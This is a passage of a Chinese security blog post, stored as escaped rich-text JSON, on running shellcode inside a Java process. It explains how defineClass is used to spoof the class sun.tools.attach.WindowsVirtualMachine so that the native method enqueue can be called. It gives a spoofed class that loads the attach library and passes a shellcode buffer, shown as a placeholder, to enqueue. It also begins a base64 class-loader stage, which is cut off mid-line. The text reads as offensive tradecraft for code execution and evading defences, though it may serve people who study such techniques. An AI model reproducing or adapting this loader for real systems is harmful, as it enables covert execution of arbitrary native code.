{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fVl8-1650707890649&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;goPR-1650707890648&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            closePipe(hPipe);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Lnjd-1650707890651&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2ouq-1650707890650&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw var10;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AL6D-1650707890653&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ux24-1650707890652&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hrr8-1650707890655&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;b6CG-1650707890654&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSGf-1650707890657&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ij2U-1650707890656&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1zZ4-1650693660031&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5P5f-1650693660029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;enqueue为native方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sjfV-1650708021948&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE3b1417f0f085da68ad819aea42469c4c&#34;,&#34;width&#34;:761,&#34;height&#34;:401},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/c/WEBRESOURCE3b1417f0f085da68ad819aea42469c4c&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:401},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sWpY-1650693660114&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BcW7-1650693660113&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其具体实现方法在&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;WindowsVirtualMachine.c中&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CSXh-1650708803962&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEd88109049a04c5735b2db3f77e6011ea&#34;,&#34;width&#34;:761,&#34;height&#34;:450},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/a/WEBRESOURCEd88109049a04c5735b2db3f77e6011ea&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:450},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mrAt-1650708818255&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCEf3f8bf1cbafcd134af5d312e345e5c65&#34;,&#34;width&#34;:761,&#34;height&#34;:691},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/5/WEBRESOURCEf3f8bf1cbafcd134af5d312e345e5c65&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:691},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;73Dw-1650708974493&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jwCk-1650708974494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;enqueue方法会根据我们传入的stub对象在jvm中开辟内存空间并写入，最后创建&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]},{&#34;text&#34;:&#34;stub线程执行。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#3f3f3f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Times New Roman&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JyiA-1650709329129&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gt9o-1650709329127&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;与我们在进程中开辟内存空间并执行shellcode的方法如出一辙。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#3f3f3f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Times New Roman&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gyZP-1650709217901&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEa444570f7b29137800414bd6a1e1d9d6&#34;,&#34;width&#34;:761,&#34;height&#34;:645},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;//note.youdao.com/yws/res/6/WEBRESOURCEa444570f7b29137800414bd6a1e1d9d6&#34;,&#34;initialSize&#34;:{&#34;width&#34;:761,&#34;height&#34;:645},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sNGS-1650693660286&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;A65I-1650693660285&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可是我们要如何调用native方法呢？&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uhfZ-1650709380527&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;,&#34;lineHeight&#34;:&#34;1.5&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HpaC-1650709380513&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;自定义类调用系统Native库函数&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:26}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xPD6-1650709394744&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5n5h-1650709394742&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用rebeyond师傅的一句话：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GpbU-1650709554571&#34;,&#34;name&#34;:&#34;quote&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sSrM-1650709546097&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SE89-1650709546095&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;我们都知道classLoader在loadClass的时候采用双亲委托机制，也就是如果系统中已经存在一个类，即使我们用自定义的classLoader去loadClass，也会返回系统内置的那个类。但是如果我们绕过loadClass，直接去defineClass即可从我们指定的字节码数组里创建类，而且类名我们可以任意自定义，重写java.lang.String都没问题:) 然后再用defineClass返回的Class去实例化，然后再调用我们想调用的Native函数即可。因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader，这是我们这个方法能成功的原因。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#3f3f3f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:16},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Times New Roman&#34;}]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G2yi-1650709583424&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mvUw-1650709583422&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;其中最重要的一句话我觉得是这句：&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TXz5-1650709694575&#34;,&#34;name&#34;:&#34;quote&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7i-1650709694576&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yTmx-1650709694577&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;因为Native函数在调用的时候只检测发起调用的类限定名，并不检测发起调用类的ClassLoader。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#3f3f3f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Times New Roman&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14}]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iyVu-1650709685160&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7mXL-1650709685158&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;只要我们能够找到调用该native方法的某个类限定名，并自定义一个相同类名的类使用defineClass实例化便可以调用任意native方法。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D4qM-1651844681755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ag4i-1651844681750&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;经过调试发现此方法还需要满足：包名不能以java.xxx开头，否则将会报错（具体可看defineClass0等实现方法）。&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QSSH-1650709701822&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KVAp-1650709701820&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;1.自定义&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]},{&#34;text&#34;:&#34;WindowsVirtualMachine.class&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zaTm-1650710155169&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QTWn-1650710155167&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nz87-1650710149014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package sun.tools.attach;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;V1Xw-1650710296786&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zfTr-1650710296785&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Diaq-1650710296788&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xunk-1650710296787&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MhVD-1650710296790&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Gzwv-1650710296789&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Scanner;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jm6q-1650710296793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qhkC-1650710296791&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5mho-1650710296795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XoUy-1650710296794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class WindowsVirtualMachine {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZuCv-1650710296797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ka22-1650710296796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pavy-1650710296799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I89i-1650710296798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    static byte buf[] = new byte[] {\&#34;shellcode here\&#34;};&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9bQn-1650710296801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bxi5-1650710296800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EkiD-1650710296803&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RG83-1650710296802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    static native void enqueue(long hProcess, byte[] stub,&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UzS1-1650710296805&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WboL-1650710296804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                               String cmd, String pipename, Object... args) throws IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Eh2y-1650710296807&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hP61-1650710296806&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8vhv-1650710296809&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uisy-1650710296808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    static native long openProcess(int pid) throws IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ee1v-1650710296811&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bGh-1650710296810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ft2I-1650710296813&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o9k2-1650710296812&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void run() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hiz2-1650710296815&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L30d-1650710296814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.loadLibrary(\&#34;attach\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;loaU-1650710296817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CYMz-1650710296816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wh9h-1650710296819&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0ebt-1650710296818&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            enqueue(-1, buf, \&#34;load\&#34;, \&#34;test\&#34;, new Object[]{});&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qoZa-1650710296821&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOEP-1650710296820&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ytj0-1650710296823&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dnVx-1650710296822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U4JD-1650710296825&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;diS9-1650710296824&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rALn-1650710296827&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;72fP-1650710296826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bfkK-1650710296829&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fLmM-1650710296828&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rHBA-1650710128147&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y5B0-1650710128144&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;2.编译并转为base64编码执行&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6G7l-1650710517775&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UG8B-1650710517774&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yMYr-1650710501014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package com.example.java_injection;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0FJD-1650710762081&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wP17-1650710762080&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DLjC-1650710762083&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c65I-1650710762082&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Method;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WvbH-1650710762085&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qF2J-1650710762084&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Base64;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qjlq-1650710762087&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UQvH-1650710762086&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Dlwj-1650710762089&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Oxlm-1650710762088&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class shellcode {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;abpf-1650710762091&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;G5iX-1650710762090&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sJX4-1650710762093&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TXsw-1650710762092&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static class Myloader extends ClassLoader //继承ClassLoader&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ABKI-1650710762095&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JshI-1650710762094&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NFsD-1650710762097&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AYdb-1650710762096&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        public Class get(byte[] b) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G54U-1650710762099&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VzxG-1650710762098&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return super.defineClass(b, 0, 